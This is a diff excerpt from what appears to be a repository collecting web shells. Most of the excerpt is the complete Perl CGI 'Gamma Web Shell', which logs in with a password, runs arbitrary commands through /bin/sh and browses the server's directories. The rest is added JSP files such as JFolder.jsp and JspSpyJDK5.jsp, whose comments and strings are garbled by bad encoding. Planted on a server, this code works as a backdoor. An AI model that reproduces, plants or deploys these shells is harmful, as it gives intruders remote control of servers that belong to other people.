||||||
|
border-style: hidden;
|
||||||
|
border-width: 1px;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tool:hover {
|
||||||
|
border-style: outset;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.output {
|
||||||
|
color: #FFF;
|
||||||
|
background: #000;
|
||||||
|
padding: 1em;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.output-text {
|
||||||
|
}
|
||||||
|
|
||||||
|
.output-command {
|
||||||
|
color: #FF7;
|
||||||
|
background: #000;
|
||||||
|
}
|
||||||
|
|
||||||
|
.output-error {
|
||||||
|
color: #FFF;
|
||||||
|
background: #F00;
|
||||||
|
}
|
||||||
|
|
||||||
|
.entries {
|
||||||
|
border: 1px solid #777;
|
||||||
|
border-collapse: collapse;
|
||||||
|
}
|
||||||
|
|
||||||
|
.entries td, .entries th {
|
||||||
|
padding: 2px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.entries th, .entries td {
|
||||||
|
border: 1px solid #777;
|
||||||
|
}
|
||||||
|
|
||||||
|
.entries-even {
|
||||||
|
color: #FFF;
|
||||||
|
background: #444;
|
||||||
|
}
|
||||||
|
|
||||||
|
.entry-dir a {
|
||||||
|
color: #BBF;
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
.entry-exec {
|
||||||
|
color: #BFB;
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
.entry-file {
|
||||||
|
}
|
||||||
|
|
||||||
|
.entry-mine {
|
||||||
|
}
|
||||||
|
|
||||||
|
.entry-alien {
|
||||||
|
color: #FBB;
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
EOT
|
||||||
|
|
||||||
|
$LOGIN_TEMPLATE = <<EOT;
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Gamma Web Shell</title>
|
||||||
|
<style type="text/css">$STYLESHEET</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<table width="100%" height="100%">
|
||||||
|
<tr><td class="header"><h2>$VERSION</h2></td></tr>
|
||||||
|
<tr>
|
||||||
|
<td width="100%" height="100%" align="center" valign="center">
|
||||||
|
<form action="WebShell.cgi" method="POST">
|
||||||
|
<table class="box">
|
||||||
|
<tr><th class="box-header">Login</th></tr>
|
||||||
|
[% if error %]
|
||||||
|
<tr><td class="box-error">Invalid password!</td></tr>
|
||||||
|
[% end %]
|
||||||
|
<tr>
|
||||||
|
<td class="box-content">
|
||||||
|
<table class="dialog" width="100%">
|
||||||
|
<tr>
|
||||||
|
<td>Password:</td>
|
||||||
|
<td><input name="password" type="password"></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td class="box-content">
|
||||||
|
<input class="tool" type="submit" value="OK">
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr><td class="footer"><h5>Copyright © 2003 <a href="http://www.gammacenter.com/">Gamma Group</a></h5></td></tr>
|
||||||
|
</table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOT
|
||||||
|
|
||||||
|
$INPUT_TEMPLATE = <<EOT;
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Gamma Web Shell</title>
|
||||||
|
<style type="text/css">$STYLESHEET</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<table width="100%" height="100%">
|
||||||
|
<tr><td class="header"><h2>$VERSION</h2></td></tr>
|
||||||
|
<tr>
|
||||||
|
<td width="100%" height="100%" align="center" valign="center">
|
||||||
|
<iframe name="output" src="WebShell.cgi?action=execute" width="80%" height="80%"></iframe>
|
||||||
|
<br><br>
|
||||||
|
<script type="text/javascript">
|
||||||
|
function submit_execute() {
|
||||||
|
var entry = document.forms.execute.elements['command'];
|
||||||
|
if (entry.value.length > 0) {
|
||||||
|
entry.select();
|
||||||
|
entry.focus();
|
||||||
|
document.forms.execute.elements['action'].value = 'execute';
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function submit_browse() {
|
||||||
|
document.forms.execute.elements['action'].value = 'browse';
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<form name="execute" action="WebShell.cgi" method="POST" target="output">
|
||||||
|
<input name="action" type="hidden" value="execute">
|
||||||
|
<table class="box">
|
||||||
|
<tr>
|
||||||
|
<td class="box-content">
|
||||||
|
<table class="dialog" width="100%">
|
||||||
|
<tr>
|
||||||
|
<th>Command:</th>
|
||||||
|
<td><input name="command" type="text" size="50"></td>
|
||||||
|
<td><input class="tool" type="submit" value="Execute" onClick="return submit_execute()"></td>
|
||||||
|
<td><input class="tool" type="submit" value="Browse" onClick="return submit_browse()"></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr><td class="footer"><h5>Copyright © 2003 <a href="http://www.gammacenter.com/">Gamma Group</a></h5></td></tr>
|
||||||
|
</table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOT
|
||||||
|
|
||||||
|
$EXECUTE_TEMPLATE = <<EOT;
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Gamma Web Shell</title>
|
||||||
|
<style type="text/css">$STYLESHEET</style>
|
||||||
|
</head>
|
||||||
|
<body class="output">
|
||||||
|
[% if old_line %]
|
||||||
|
<pre class="output-command">[% old_line as html %]</pre>
|
||||||
|
[% end %]
|
||||||
|
[% if output %]
|
||||||
|
<pre class="output-text">[% output as html %]</pre>
|
||||||
|
[% end %]
|
||||||
|
[% if error %]
|
||||||
|
<pre class="output-error">[% error as html %]</pre>
|
||||||
|
[% end %]
|
||||||
|
[% if new_line %]
|
||||||
|
<pre class="output-command">[% new_line as html %]</pre>
|
||||||
|
[% end %]
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOT
|
||||||
|
|
||||||
|
$BROWSE_TEMPLATE = <<EOT;
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Gamma Web Shell</title>
|
||||||
|
<style type="text/css">$STYLESHEET</style>
|
||||||
|
</head>
|
||||||
|
<body class="output">
|
||||||
|
[% if error %]
|
||||||
|
<p class="output-error">[% error as html %]</p>
|
||||||
|
[% end %]
|
||||||
|
<table class="entries" width="100%">
|
||||||
|
<tr class="entries-even" align="left">
|
||||||
|
<th colspan="6">
|
||||||
|
[% for entry in directory %]<code class="entry-dir"><a href="WebShell.cgi?action=browse&path=[% entry.path as url %]">[% entry.name as html %]/</a></code>[% end %]
|
||||||
|
</th>
|
||||||
|
</tr>
|
||||||
|
<tr class="entries-odd" align="left">
|
||||||
|
<th width="100%"><small>Name</small></th>
|
||||||
|
<th><small>Size</small></th>
|
||||||
|
<th><small>Time</small></th>
|
||||||
|
<th><small>Owner</small></th>
|
||||||
|
<th><small>Group</small></th>
|
||||||
|
<th><small>Mode</small></th>
|
||||||
|
</tr>
|
||||||
|
[% for entry in entries %]
|
||||||
|
<tr class="entries-[% if loop.entry.even %]even[% else %]odd[% end %]">
|
||||||
|
<td width="100%">
|
||||||
|
[% if entry.type_file %]
|
||||||
|
[% if entry.type_exec %]
|
||||||
|
<code class="entry-exec">[% entry.name as html %]</code>
|
||||||
|
[% else %]
|
||||||
|
<code class="entry-file">[% entry.name as html %]</code>
|
||||||
|
[% end %]
|
||||||
|
[% elif entry.type_dir %]
|
||||||
|
<code class="entry-dir"><a href="WebShell.cgi?action=browse&path=[% entry.name as url %]">[% entry.name as html %]/</a></code>
|
||||||
|
[% else %]
|
||||||
|
<code class="entry-other">[% entry.name as html %]</code>
|
||||||
|
[% end %]
|
||||||
|
</td>
|
||||||
|
<td align="right">
|
||||||
|
[% if entry.type_file %]
|
||||||
|
<code class="entry-text">[% entry.size as html %]</code></td>
|
||||||
|
[% else %]
|
||||||
|
|
||||||
|
[% end %]
|
||||||
|
</td>
|
||||||
|
<td><code class="entry-text">[% entry.time as nbsp %]</code></td>
|
||||||
|
<td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.user as html %]</code></td>
|
||||||
|
<td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.group as html %]</code></td>
|
||||||
|
<td><code class="entry-text">[% entry.mode as html %]</code></td>
|
||||||
|
</tr>
|
||||||
|
[% end %]
|
||||||
|
</table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOT
|
||||||
|
|
||||||
|
|
||||||
|
###############################################################################
|
||||||
|
|
||||||
|
package WebShell::MiniXIT;
|
||||||
|
|
||||||
|
sub new {
|
||||||
|
my ($class) = @_;
|
||||||
|
return bless {}, $class;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub substitute {
|
||||||
|
my ($self, $input, %keywords) = @_;
|
||||||
|
my $statements = $self->parse($input);
|
||||||
|
my $operation = $self->compile($statements);
|
||||||
|
my $output = $self->evaluate($operation, \%keywords);
|
||||||
|
return $output;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub parse {
|
||||||
|
my ($self, $input) = @_;
|
||||||
|
my $statements = [];
|
||||||
|
my $start = 0;
|
||||||
|
while ($input =~ /(\[%\s*(.*?)\s*%\])/g) {
|
||||||
|
my $match_end = pos($input);
|
||||||
|
my $match_start = $match_end - length($1);
|
||||||
|
if ($start < $match_start) {
|
||||||
|
my $text = substr($input, $start, $match_start-$start);
|
||||||
|
push @$statements, { id => 'text', text => $text };
|
||||||
|
}
|
||||||
|
push @$statements, $self->parse_command($2);
|
||||||
|
$start = $match_end;
|
||||||
|
}
|
||||||
|
if ($start < length($input)) {
|
||||||
|
my $text = substr($input, $start);
|
||||||
|
push @$statements, { id => 'text', text => $text };
|
||||||
|
}
|
||||||
|
return $statements;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub parse_command {
|
||||||
|
my ($self, $command) = @_;
|
||||||
|
if ($command =~ /^if\s+(\w+(\.\w+)*)$/) {
|
||||||
|
return { id => 'if', test => $1, };
|
||||||
|
}
|
||||||
|
elsif ($command =~ /^elif\s+(\w+(\.\w+)*)$/) {
|
||||||
|
return { id => 'elif', test => $1 };
|
||||||
|
}
|
||||||
|
elsif ($command =~ /^else$/) {
|
||||||
|
return { id => 'else' };
|
||||||
|
}
|
||||||
|
elsif ($command =~ /^for\s+(\w+)\s+in\s+(\w+(\.\w+)*)$/) {
|
||||||
|
return { id => 'for', name => $1, list => $2 };
|
||||||
|
}
|
||||||
|
elsif ($command =~ /^end$/) {
|
||||||
|
return { id => 'end' };
|
||||||
|
}
|
||||||
|
elsif ($command =~ /^(\w+(\.\w+)*)(\s+as\s+(\w+))$/) {
|
||||||
|
return { id => 'print', variable => $1, format => $4 };
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
die "invalid command: '$command'";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub compile {
|
||||||
|
my ($self, $statements) = @_;
|
||||||
|
my $operation = $self->compile_sequence($statements);
|
||||||
|
if (scalar(@$statements)) {
|
||||||
|
my $statement = shift(@$statements);
|
||||||
|
my $id = $statements->{id};
|
||||||
|
die "unexpected statement: '$id'";
|
||||||
|
}
|
||||||
|
return $operation;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub compile_sequence {
|
||||||
|
my ($self, $statements) = @_;
|
||||||
|
my $operations = [];
|
||||||
|
while (scalar(@$statements) > 0) {
|
||||||
|
my $id = $statements->[0]->{id};
|
||||||
|
if ($id eq 'if') {
|
||||||
|
push @$operations, $self->compile_condition($statements);
|
||||||
|
}
|
||||||
|
elsif ($id eq 'for') {
|
||||||
|
push @$operations, $self->compile_loop($statements);
|
||||||
|
}
|
||||||
|
elsif ($id eq 'print' or $id eq 'text') {
|
||||||
|
my $statement = shift @$statements;
|
||||||
|
push @$operations, $statement;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return { id => 'sequence', operations => $operations };
|
||||||
|
}
|
||||||
|
|
||||||
|
sub compile_condition {
|
||||||
|
my ($self, $statements) = @_;
|
||||||
|
my $conditions = [];
|
||||||
|
my $statement = shift @$statements;
|
||||||
|
my $id = defined $statement ? $statement->{id} : 'none';
|
||||||
|
while ($id eq 'if' or $id eq 'elif' or $id eq 'else') {
|
||||||
|
my $test = $id ne 'else' ? $statement->{test} : undef;
|
||||||
|
my $operation = $self->compile_sequence($statements);
|
||||||
|
push @$conditions, { test => $test, operation => $operation };
|
||||||
|
$statement = shift @$statements;
|
||||||
|
$id = defined $statement ? $statement->{id} : 'none';
|
||||||
|
}
|
||||||
|
die "'end' expected, but '$id' found" unless $id eq 'end';
|
||||||
|
return { id => 'condition', conditions => $conditions };
|
||||||
|
}
|
||||||
|
|
||||||
|
sub compile_loop {
|
||||||
|
my ($self, $statements) = @_;
|
||||||
|
my $statement = shift @$statements;
|
||||||
|
my $name = $statement->{name};
|
||||||
|
my $list = $statement->{list};
|
||||||
|
my $operation = $self->compile_sequence($statements);
|
||||||
|
$statement = shift @$statements;
|
||||||
|
my $id = defined $statement ? $statement->{id} : 'none';
|
||||||
|
die "'end' expected, but '$id' found" unless $id eq 'end';
|
||||||
|
return { id => 'loop',
|
||||||
|
name => $name, list => $list, operation => $operation };
|
||||||
|
}
|
||||||
|
|
||||||
|
sub evaluate {
|
||||||
|
my ($self, $operation, $keywords) = @_;
|
||||||
|
$keywords->{loop} = {};
|
||||||
|
my $chunks = $self->evaluate_operation($operation, $keywords);
|
||||||
|
return join('', @$chunks);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub evaluate_operation {
|
||||||
|
my ($self, $operation, $keywords) = @_;
|
||||||
|
if ($operation->{id} eq 'condition') {
|
||||||
|
return $self->evaluate_condition($operation->{conditions}, $keywords);
|
||||||
|
}
|
||||||
|
elsif ($operation->{id} eq 'loop') {
|
||||||
|
return $self->evaluate_loop($operation->{name}, $operation->{list},
|
||||||
|
$operation->{operation}, $keywords);
|
||||||
|
}
|
||||||
|
elsif ($operation->{id} eq 'print') {
|
||||||
|
return $self->evaluate_print($operation->{variable},
|
||||||
|
$operation->{format}, $keywords);
|
||||||
|
}
|
||||||
|
elsif ($operation->{id} eq 'sequence') {
|
||||||
|
my $chunks = [];
|
||||||
|
push @$chunks, @{$self->evaluate_operation($_, $keywords)}
|
||||||
|
for (@{$operation->{operations}});
|
||||||
|
return $chunks;
|
||||||
|
}
|
||||||
|
elsif ($operation->{id} eq 'text') {
|
||||||
|
return [$operation->{text}];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub evaluate_condition {
|
||||||
|
my ($self, $conditions, $keywords) = @_;
|
||||||
|
for my $condition (@$conditions) {
|
||||||
|
my $test = $condition->{test};
|
||||||
|
my $value = defined $test ?
|
||||||
|
$self->evaluate_variable($test, $keywords) : 1;
|
||||||
|
return $self->evaluate_operation($condition->{operation}, $keywords)
|
||||||
|
if $value;
|
||||||
|
}
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub evaluate_loop {
|
||||||
|
my ($self, $name, $list, $operation, $keywords) = @_;
|
||||||
|
my $values = $self->evaluate_variable($list, $keywords);
|
||||||
|
my $length = scalar(@$values);
|
||||||
|
my $index = 0;
|
||||||
|
my $chunks = [];
|
||||||
|
for my $value (@$values) {
|
||||||
|
$keywords->{$name} = $value;
|
||||||
|
$keywords->{loop}->{$name} = {
|
||||||
|
index => $index, number => $index+1,
|
||||||
|
first => $index == 0, last => $index == $length-1,
|
||||||
|
odd => $index % 2 == 1, even => $index % 2 == 0,
|
||||||
|
};
|
||||||
|
push @$chunks, @{$self->evaluate_operation($operation, $keywords)};
|
||||||
|
$index++;
|
||||||
|
}
|
||||||
|
delete $keywords->{$name};
|
||||||
|
delete $keywords->{loop}->{$name};
|
||||||
|
return $chunks;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub evaluate_print {
|
||||||
|
my ($self, $variable, $format, $keywords) = @_;
|
||||||
|
my $value = $self->evaluate_variable($variable, $keywords);
|
||||||
|
if ($format eq 'html') {
|
||||||
|
for ($value) { s/&/&/g; s/</</g; s/>/>/g; s/"/"/g; }
|
||||||
|
}
|
||||||
|
elsif ($format eq 'nbsp') {
|
||||||
|
for ($value) {
|
||||||
|
s/&/&/g; s/</</g; s/>/>/g; s/"/"/g; s/ / /g;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
elsif ($format eq 'url') {
|
||||||
|
$value =~ s/(\W)/sprintf('%%%02X', ord($1))/eg;
|
||||||
|
}
|
||||||
|
elsif ($format ne '') {
|
||||||
|
|
||||||
|
die "unknown format: '$format'";
|
||||||
|
}
|
||||||
|
return [$value];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub evaluate_variable {
|
||||||
|
my ($self, $variable, $keywords) = @_;
|
||||||
|
my $value = $keywords;
|
||||||
|
for my $name (split(/\./, $variable)) {
|
||||||
|
$value = $value->{$name};
|
||||||
|
}
|
||||||
|
return $value;
|
||||||
|
}
|
||||||
|
|
||||||
|
###############################################################################
|
||||||
|
|
||||||
|
package WebShell::Script;
|
||||||
|
|
||||||
|
use CGI;
|
||||||
|
use CGI::Carp qw(fatalsToBrowser);
|
||||||
|
use IPC::Open3;
|
||||||
|
use Cwd;
|
||||||
|
use POSIX;
|
||||||
|
|
||||||
|
sub new {
|
||||||
|
my ($class) = @_;
|
||||||
|
my $self = bless { }, $class;
|
||||||
|
$self->initialize();
|
||||||
|
return $self;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub query {
|
||||||
|
my ($self, @names) = @_;
|
||||||
|
my @values = ();
|
||||||
|
for my $name (@names) {
|
||||||
|
my $value = $self->{cgi}->param($name);
|
||||||
|
for ($value) { s/^\s+//; s/\s+$//; }
|
||||||
|
push @values, $value;
|
||||||
|
}
|
||||||
|
return wantarray ? @values : "@values";
|
||||||
|
}
|
||||||
|
|
||||||
|
sub initialize {
|
||||||
|
my ($self) = @_;
|
||||||
|
$self->{cgi} = new CGI;
|
||||||
|
$self->{cwd} = $self->{cgi}->cookie(-name => 'WebShell-cwd');
|
||||||
|
$self->{cwd} = cwd unless defined $self->{cwd};
|
||||||
|
$self->{cwd} = cwd if $WebShell::Configuration::restricted_mode;
|
||||||
|
$self->{login} = 0;
|
||||||
|
my $login = $self->{cgi}->cookie(-name => 'WebShell-login');
|
||||||
|
my $password = $self->query('password');
|
||||||
|
$self->{login} = 1
|
||||||
|
if crypt($WebShell::Configuration::password, $login."XX") eq $login;
|
||||||
|
$self->{login} = 1 if $password eq $WebShell::Configuration::password;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub run {
|
||||||
|
my ($self) = @_;
|
||||||
|
return $self->login_action unless $self->{login};
|
||||||
|
my $action = $self->query('action');
|
||||||
|
$action = 'default' unless $action =~ /^\w+$/;
|
||||||
|
$action = $self->can($action . '_action');
|
||||||
|
$action = $self->can('default_action') unless defined $action;
|
||||||
|
$self->$action();
|
||||||
|
}
|
||||||
|
|
||||||
|
sub default_action {
|
||||||
|
my ($self) = @_;
|
||||||
|
$self->publish('INPUT');
|
||||||
|
}
|
||||||
|
|
||||||
|
sub login_action {
|
||||||
|
my ($self) = @_;
|
||||||
|
$self->publish('LOGIN', error => ($self->query('password') ne ''));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub command {
|
||||||
|
my ($self, $command) = @_;
|
||||||
|
chdir($self->{cwd});
|
||||||
|
my $pid = open3(\*WRTH, \*RDH, \*ERRH, "/bin/sh");
|
||||||
|
print WRTH "$command\n";
|
||||||
|
close(WRTH);
|
||||||
|
my $output = do { local $/; <RDH> };
|
||||||
|
my $error = do { local $/; <ERRH> };
|
||||||
|
waitpid($pid, 0);
|
||||||
|
return ($output, $error);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub forbidden_command {
|
||||||
|
my ($self, $command) = @_;
|
||||||
|
my $error = "This command is not available in the restricted mode.\n";
|
||||||
|
$error .= "You may only use the following commands:\n";
|
||||||
|
for my $ok_command (@$WebShell::Configuration::ok_commands) {
|
||||||
|
$error .= " $ok_command\n";
|
||||||
|
}
|
||||||
|
return ('', $error);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub cd_command {
|
||||||
|
my ($self, $command) = @_;
|
||||||
|
my $error;
|
||||||
|
my $directory = $1 if $command =~ /^cd\s+(\S+)$/;
|
||||||
|
warn "cwd: '$self->{cwd}'\n";
|
||||||
|
warn "command: '$command'\n";
|
||||||
|
warn "directory: '$directory'\n";
|
||||||
|
if ($directory ne '') {
|
||||||
|
$error = $! unless chdir($self->{cwd});
|
||||||
|
$error = $! unless chdir($directory);
|
||||||
|
}
|
||||||
|
$self->{cwd} = cwd;
|
||||||
|
return ('', $error);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub execute_action {
|
||||||
|
my ($self) = @_;
|
||||||
|
my $command = $self->query('command');
|
||||||
|
my $user = getpwuid($>);
|
||||||
|
my $old_line = "[$user: $self->{cwd}]\$ $command";
|
||||||
|
my ($output, $error);
|
||||||
|
if ($command ne "") {
|
||||||
|
my $allow = not $WebShell::Configuration::restricted_mode;
|
||||||
|
for my $ok_command (@$WebShell::Configuration::ok_commands) {
|
||||||
|
$allow = 1 if $command eq $ok_command;
|
||||||
|
}
|
||||||
|
if ($allow) {
|
||||||
|
$command =~ /^(\w+)/;
|
||||||
|
if (my $method = $self->can("${1}_command")) {
|
||||||
|
($output, $error) = $self->$method($command);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
($output, $error) = $self->command($command);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
($output, $error) = $self->forbidden_command($command);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
my $new_line = "[$user: $self->{cwd}]\$ " unless $command eq "";
|
||||||
|
$self->publish('EXECUTE',
|
||||||
|
old_line => $old_line, new_line => $new_line,
|
||||||
|
output => $output, error => $error);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub browse_action {
|
||||||
|
my ($self) = @_;
|
||||||
|
my $error = "";
|
||||||
|
my $path = $self->query('path');
|
||||||
|
if ($WebShell::Configuration::restricted_mode and $path ne '') {
|
||||||
|
$error = "You cannot browse directories in the restricted mode.";
|
||||||
|
$path = "";
|
||||||
|
}
|
||||||
|
$error = $! unless chdir($self->{cwd});
|
||||||
|
if ($path ne '') {
|
||||||
|
$error = $! unless chdir($path);
|
||||||
|
}
|
||||||
|
$self->{cwd} = cwd;
|
||||||
|
opendir(DIR, '.');
|
||||||
|
my @dir = readdir(DIR);
|
||||||
|
closedir(DIR);
|
||||||
|
my @entries = ();
|
||||||
|
for my $name (@dir) {
|
||||||
|
my ($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size,
|
||||||
|
$atime, $mtime, $ctime, $blksize, $blocks) = stat($name);
|
||||||
|
my $modestr = S_ISDIR($mode) ? 'd' : '-';
|
||||||
|
$modestr .= ($mode & S_IRUSR) ? 'r' : '-';
|
||||||
|
$modestr .= ($mode & S_IWUSR) ? 'w' : '-';
|
||||||
|
$modestr .= ($mode & S_ISUID) ? 's' : ($mode & S_IXUSR) ? 'x' : '-';
|
||||||
|
$modestr .= ($mode & S_IRGRP) ? 'r' : '-';
|
||||||
|
$modestr .= ($mode & S_IWGRP) ? 'w' : '-';
|
||||||
|
$modestr .= ($mode & S_ISGID) ? 's' : ($mode & S_IXGRP) ? 'x' : '-';
|
||||||
|
$modestr .= ($mode & S_IROTH) ? 'r' : '-';
|
||||||
|
$modestr .= ($mode & S_IWOTH) ? 'w' : '-';
|
||||||
|
$modestr .= ($mode & S_IXOTH) ? 'x' : '-';
|
||||||
|
my $userstr = getpwuid($uid);
|
||||||
|
my $groupstr = getgrgid($gid);
|
||||||
|
my $sizestr = ($size < 1024) ? $size :
|
||||||
|
($size < 1024*1024) ? sprintf("%.1fk", $size/1024) :
|
||||||
|
sprintf("%.1fM", $size/(1024*1024));
|
||||||
|
my $timestr = strftime('%H:%M %b %e %Y', localtime($mtime));
|
||||||
|
push @entries, {
|
||||||
|
name => $name,
|
||||||
|
type_file => S_ISREG($mode),
|
||||||
|
type_dir => S_ISDIR($mode),
|
||||||
|
type_exec => ($mode & S_IXUSR),
|
||||||
|
mode => $modestr,
|
||||||
|
user => $userstr,
|
||||||
|
group => $groupstr,
|
||||||
|
order => (S_ISDIR($mode) ? 0 : 1) . $name,
|
||||||
|
all_rights => (-w $name),
|
||||||
|
size => $sizestr,
|
||||||
|
time => $timestr,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
@entries = sort { $a->{order} cmp $b->{order} } @entries;
|
||||||
|
my @directory = ();
|
||||||
|
my $path = '';
|
||||||
|
for my $name (split m|/|, $self->{cwd}) {
|
||||||
|
$path .= "$name/";
|
||||||
|
push @directory, {
|
||||||
|
name => $name,
|
||||||
|
path => $path,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
@directory = ({ name => '', path => '/'}) unless @directory;
|
||||||
|
$self->publish('BROWSE', entries => \@entries, directory => \@directory,
|
||||||
|
error => $error);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub publish {
|
||||||
|
my ($self, $template, %keywords) = @_;
|
||||||
|
$template = eval '$WebShell::Templates::' . $template . '_TEMPLATE';
|
||||||
|
my $xit = new WebShell::MiniXIT;
|
||||||
|
my $text = $xit->substitute($template, %keywords);
|
||||||
|
$self->{cgi}->url =~ m{^http://([^/]*)(.*)/[^/]*$};
|
||||||
|
my $domain = $1;
|
||||||
|
my $path = $2;
|
||||||
|
my $cwd_cookie = $self->{cgi}->cookie(
|
||||||
|
-name => 'WebShell-cwd',
|
||||||
|
-value => $self->{cwd},
|
||||||
|
-domain => $domain,
|
||||||
|
-path => $path,
|
||||||
|
);
|
||||||
|
my $login = "";
|
||||||
|
if ($self->{login}) {
|
||||||
|
my $salt = join '',
|
||||||
|
('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64];
|
||||||
|
$login = crypt($WebShell::Configuration::password, $salt);
|
||||||
|
}
|
||||||
|
my $login_cookie = $self->{cgi}->cookie(
|
||||||
|
-name => 'WebShell-login',
|
||||||
|
-value => $login,
|
||||||
|
-domain => $domain,
|
||||||
|
-path => $path,
|
||||||
|
);
|
||||||
|
print $self->{cgi}->header(-cookie => [$cwd_cookie, $login_cookie]);
|
||||||
|
print $text;
|
||||||
|
}
|
||||||
|
|
||||||
|
###############################################################################
|
||||||
|
|
||||||
|
package WebShell;
|
||||||
|
|
||||||
|
my $script = new WebShell::Script;
|
||||||
|
$script->run;
|
||||||
|
|
||||||
|
###############################################################################
|
||||||
|
###############################################################################
|
||||||
1022
net-friend/jsp/JFolder.jsp
Normal file
1022
net-friend/jsp/JFolder.jsp
Normal file
File diff suppressed because it is too large
Load Diff
2403
net-friend/jsp/JspSpyJDK5.jsp
Normal file
2403
net-friend/jsp/JspSpyJDK5.jsp
Normal file
File diff suppressed because it is too large
Load Diff
982
net-friend/jsp/in.jsp
Normal file
982
net-friend/jsp/in.jsp
Normal file
@@ -0,0 +1,982 @@
|
|||||||
|
<%
|
||||||
|
/**
|
||||||
|
xxxxxxxxxxxx xxxxxxxxxxxxxxxx
|
||||||
|
@xxxxxxxxx<78><78> JFolder.jsp
|
||||||
|
@Description<6F><6E> x<><78>
|
||||||
|
@Author<6F><72> Steven Cee
|
||||||
|
@Email <20><> xxxx@Gmail.com
|
||||||
|
@Bugs : <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
|
||||||
|
*/
|
||||||
|
%>
|
||||||
|
<%@ page contentType="text/html;charset=gb2312"%>
|
||||||
|
<%@page import="java.io.*,java.util.*,java.net.*" %>
|
||||||
|
<%!
|
||||||
|
private final static int languageNo=0; //<2F><><EFBFBD>汾<D4B0><E6B1BE>0 : <20><><EFBFBD>ģ<EFBFBD> 1<><31>Ӣ<EFBFBD><D3A2>
|
||||||
|
String strThisFile="JFolder.jsp";
|
||||||
|
String[] authorInfo={" <font color=red> </font>"," <font color=red> </font>"};
|
||||||
|
String[] strFileManage = {"<22><> <20><> <20><> <20><>","File Management"};
|
||||||
|
String[] strCommand = {"CMD <20><> <20><>","Command Window"};
|
||||||
|
String[] strSysProperty = {"","System Property"};
|
||||||
|
String[] strHelp = {"","Help"};
|
||||||
|
String[] strParentFolder = {"<22>ϼ<EFBFBD>Ŀ¼","Parent Folder"};
|
||||||
|
String[] strCurrentFolder= {"<22><>ǰĿ¼","Current Folder"};
|
||||||
|
String[] strDrivers = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Drivers"};
|
||||||
|
String[] strFileName = {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","File Name"};
|
||||||
|
String[] strFileSize = {"<22>ļ<EFBFBD><C4BC><EFBFBD>С","File Size"};
|
||||||
|
String[] strLastModified = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Last Modified"};
|
||||||
|
String[] strFileOperation= {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","Operations"};
|
||||||
|
String[] strFileEdit = {"<22><EFBFBD>","Edit"};
|
||||||
|
